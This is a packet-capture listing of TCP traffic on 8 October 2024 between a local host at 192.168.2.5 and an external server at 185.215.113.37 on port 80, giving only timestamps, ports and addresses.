Oct 8, 2024 03:22:16.105333090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.105336905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.105345964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.105359077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.105389118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.105427980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.105439901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.105451107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.105459929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.105462074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.105494976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.105587959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.105598927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.105609894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.105623007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.105623007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.105633974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.105643988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.105652094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.105695963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.105890036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.105901003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.105911970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.105926037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.105953932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.106004953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106017113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106028080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106040001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106045008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.106070995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.106092930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.106198072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106209993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106220961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106231928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106235981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.106244087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106251955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.106255054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106266975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106276035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106282949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.106288910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106296062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.106312037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.106339931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.106477976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106501102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106513977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106519938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.106532097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.106534004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106561899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.106571913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.106606960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106617928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106628895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106646061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.106668949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.106669903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106681108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106690884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106718063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.106736898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.106755018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106795073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.106868029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106873035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106878996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106880903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106888056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.106928110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.106929064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.107289076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107292891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107295036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107300043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107311010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107322931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107333899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107335091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.107350111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.107378960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.107414961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107428074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107439995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107455969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107455969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.107460976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107465982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107481003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.107490063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107491016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107492924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107496977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107506037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.107568026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.107853889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107866049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107877016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107887983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107892990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.107898951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107909918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107919931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.107920885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107932091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107943058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107949018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.107953072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107964039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107975006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107985020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.107985973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.107985973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.107995987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108000994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.108009100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108026028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.108052015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.108272076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108283043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108304977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.108333111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.108407021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108418941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108428001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108433962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108442068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.108444929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108455896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108464956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.108465910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108477116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108485937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108489037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.108496904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108506918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108510971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.108530045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.108556986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.108753920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108764887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108776093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108787060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108797073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108805895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.108805895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.108808041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108819008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108830929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108841896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108844042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.108851910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108853102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.108866930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.108867884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108879089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.108907938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.108927011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.191747904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.191807032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.191850901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.191922903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.191951990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.191956997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.191970110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.191971064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.192003012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.192028046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.192060947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.192073107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.192084074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.192147970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.192224979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.192238092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.192250013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.192261934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.192272902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.192286968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.192289114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.192308903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.192336082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.192341089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.192352057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.192363977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.192380905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.192409039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.192455053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.192466021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.192481995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.192496061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.192504883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.192512035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.192537069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.193605900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.193639040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.193649054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.193655968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.193680048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.193733931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.193742037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.193748951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.193754911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.193775892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.193816900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.193851948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.193876982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.193888903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.193892956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.193895102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.193906069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.193918943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.193931103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.193936110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.193967104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.194149971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194160938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194171906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194181919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194190979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.194194078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194205046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194216013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194216013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.194226980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194238901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194248915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194255114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194261074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194298029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.194298029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.194430113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.194478989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194492102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194503069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194514036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194525003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194535971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194574118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194577932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.194586039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194597006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194603920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194608927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194614887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194621086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194627047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194641113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.194680929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.194842100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194852114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194892883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.194984913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.194997072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195022106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195031881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195033073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.195041895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195053101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195063114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.195063114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195075035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195082903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.195085049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195096016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195106030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195117950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195128918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195138931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195138931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.195148945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195161104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195168018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.195188046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.195205927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.195348978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195359945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195369005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195398092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.195420027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.195482016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195497036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195518017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195525885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.195529938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195539951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195550919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195553064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.195561886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195571899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195576906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.195583105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195594072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195605040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195605993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.195616961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195624113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.195627928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195638895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195647001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.195650101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195674896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.195688963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.195877075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195920944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.195950031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195962906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195974112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195986986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.195996046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.196024895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.196074009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.196085930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.196096897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.196108103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.196116924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.196134090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.196161032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.196192980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.196203947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.196213961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.196225882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.196235895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.196235895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.196264029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.196276903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:16.278915882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.278935909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.278945923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.278955936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:16.278965950 CEST	80	49704	185.215.113.37	192.168.2.5
